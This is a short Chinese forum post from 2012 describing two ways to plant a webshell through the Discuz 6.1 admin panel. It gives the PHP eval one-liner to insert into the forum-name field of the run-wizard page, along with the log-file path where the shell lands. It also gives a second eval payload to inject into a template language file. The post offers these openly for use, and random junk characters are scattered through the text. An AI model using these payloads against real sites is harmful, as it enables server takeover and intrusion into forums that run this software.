discuz6.1两种方法后台拿shell" {% M+ ~9 z# m A" `
好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下2 ~2 X9 G! v, z u9 A" w
1:4 U8 n- H) ?# t4 L) G! X9 w
http://127.0.0.1/discuz/admincp. ... zard&frames=yes
/ C g' n: n6 D+ y) T v6 Madmincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell
0 Q6 U% o/ l& L2 Y/ V9 P O<?php eval($_POST[cmd]);?>' m6 n( ^, `1 l' j2 }, g
后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php% k8 Q. ?' @( z+ Y
1 ]4 {/ |$ _! r0 m1 d5 J" Z) K5 y! ~$ Z7 r! w; v
2:后台模板管理--默认模板套系--详情& x1 X- L' Q6 z3 U: z+ V
templates/default/actions.lang.php( `' H" L) @+ e8 j
jhackj\\');eval($_POST[cmd])?>;//
" L N) k4 Y0 L) z$ T# O# p; t9 i! |& W% b: o: p8 a) J
利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对